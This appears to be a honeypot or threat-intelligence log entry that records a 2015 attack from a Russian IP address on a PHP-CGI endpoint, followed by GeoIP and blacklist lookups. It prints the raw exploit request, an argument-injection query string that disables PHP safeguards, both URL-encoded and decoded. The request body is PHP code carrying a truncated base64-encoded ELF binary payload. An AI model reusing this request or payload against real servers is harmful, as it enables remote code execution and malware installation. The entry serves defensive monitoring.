94.180.115.102 - php Buffer overflow attempt

BEGIN OF HTTP DATA:
2015-09-22 03:24:28
Source IP: 94.180.115.102
Country: RU RiskScore: 1 Malware: []
POST /cgi-bin/php?%2D%64+%61%6C%6C%6F%77%5F%75%72%6C%5F%69%6E%63%6C%75%64%65%3D%6F%6E+%2D%64+%73%61%66%65%5F%6D%6F%64%65%3D%6F%66%66+%2D%64+%73%75%68%6F%73%69%6E%2E%73%69%6D%75%6C%61%74%69%6F%6E%3D%6F%6E+%2D%64+%64%69%73%61%62%6C%65%5F%66%75%6E%63%74%69%6F%6E%73%3D%22%22+%2D%64+%6F%70%65%6E%5F%62%61%73%65%64%69%72%3D%6E%6F%6E%65+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%64+%63%67%69%2E%66%6F%72%63%65%5F%72%65%64%69%72%65%63%74%3D%30+%2D%64+%63%67%69%2E%72%65%64%69%72%65%63%74%5F%73%74%61%74%75%73%5F%65%6E%76%3D%22%79%65%73%22+%2D%64+%63%67%69%2E%66%69%78%5F%70%61%74%68%69%6E%66%6F%3D%31+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%6E HTTP/1.1
Host: 195.169.125.87
User-Agent: Mozilla/5.0 (Windows NT 6.3; rv:36.0) Gecko/20100101 Firefox/36.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 43604
Connection: close
<?php
$bufferf = 'f0VMRgIBAQMAAAAAAAAAAAIAPgABAAAAEDwQAAAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAEAAOAACAEAAAAAAAAEAAAAFAAAAAAAAAAAAAAAAABAAAAAAAAAAEAAAAAAA5EMAAAAAAADkQwAAAAAAAAAAEAAAAAAAAQAAAAYAAADgmwAAAAAAAOCbUAAAAAAA4JtQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAB1k/mqVVBYIeAHDRYAAAAAYJ4AAGCeAAAAAgAAsAAAAAIAAAD7+yH/f0VMRgIBAQACAD4ADdAbQA+7ZL8XBQCglyITOADdsu67CAUbABoABg8FJwdA5IQ8IcABAAgA2GCT7gNwBHhABwIyIU8cAAAB+cAG9m+NB2SJADyTbQkAEDcGkJ6dkO8HUDAFN+ALN

 The enquoted code decodes to

POST /cgi-bin/php?-d+allow_url_include=on+-d+safe_mode=off+-d+suhosin.simulation=on+-d+disable_functions=""+-d+open_basedir=none+-d+auto_prepend_file=php://input+-d+cgi.force_redirect=0+-d+cgi.redirect_status_env="yes"+-d+cgi.fix_pathinfo=1+-d+auto_prepend_file=php://input+-n HTTP/1.1

94.180.115[.]102

Static Source: GeoIP data
• Country: Russian Federation
• ASN: AS43478 CJSC ER-Telecom Holding

Dynamic Source: SANS Internet Storm Cast
• comment:IP is listed on SANS ISC
• comment:This entry alone does not indicate a threat, please check the link
• Reference: https://isc.sans.edu/api/ip/94.180.115.102

Static Source: http://sendmespamids.blogspot.nl/ Blacklist
• Comment: Listed on Honeypot blacklist
• Reference: https://raw.githubusercontent.com/johestephan/smsids-blacklist/master/blacklist.txt